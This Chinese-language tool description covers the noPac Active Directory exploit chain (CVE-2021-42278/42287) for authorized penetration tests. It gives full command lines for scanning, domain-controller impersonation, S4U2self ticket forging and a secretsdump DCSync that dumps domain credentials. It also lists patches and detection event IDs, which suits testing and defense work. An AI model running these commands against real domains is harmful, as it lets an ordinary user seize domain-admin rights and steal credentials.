用途:在获得书面授权的渗透测试或红队演练中,复现 noPac 漏洞链(CVE-2021-42278 与 CVE-2021-42287),验证 Active Directory 环境是否可被普通域用户提升为域管理员。
主要能力:扫描目标域是否存在 noPac 漏洞;检查 MachineAccountQuota(默认 10);创建或利用机器账户并修改其 sAMAccountName 以匹配域控名称;利用 KDC PAC 校验缺陷获取域控 TGT;通过 S4U2self 模拟目标用户;使用所得票据执行 DCSync 导出域凭据,最终获得域管理员权限。
使用方式:先扫描,例如 python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1,或 crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac。随后运行完整利用链,例如 python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 -dc-host DC01 -shell --impersonate administrator -use-ldap。也可手动分步:addcomputer.py 创建机器账户、renameMachine.py 重命名、getTGT.py 请求 TGT、恢复原名、getST.py 执行 S4U2self。后利用阶段可用 secretsdump.py -k -no-pass 配合票据执行 DCSync。
适用场景:授权渗透测试、红队演练、恶意样本与攻击痕迹分析、基于攻击理解构建检测规则。
限制与注意:仅限合法授权测试与教育用途,未经授权使用违法。需 Python 3.8+ 及依赖,需测试或实验环境。微软已于 2021 年 11 月发布补丁(KB5008380、KB5008602),未修补环境才可能受影响。检测点包括事件 4741、4742、4769 及无尾随 $ 的 TGT 请求等。具体工具版本、平台与效果以实际环境为准,资料未提供更多细节。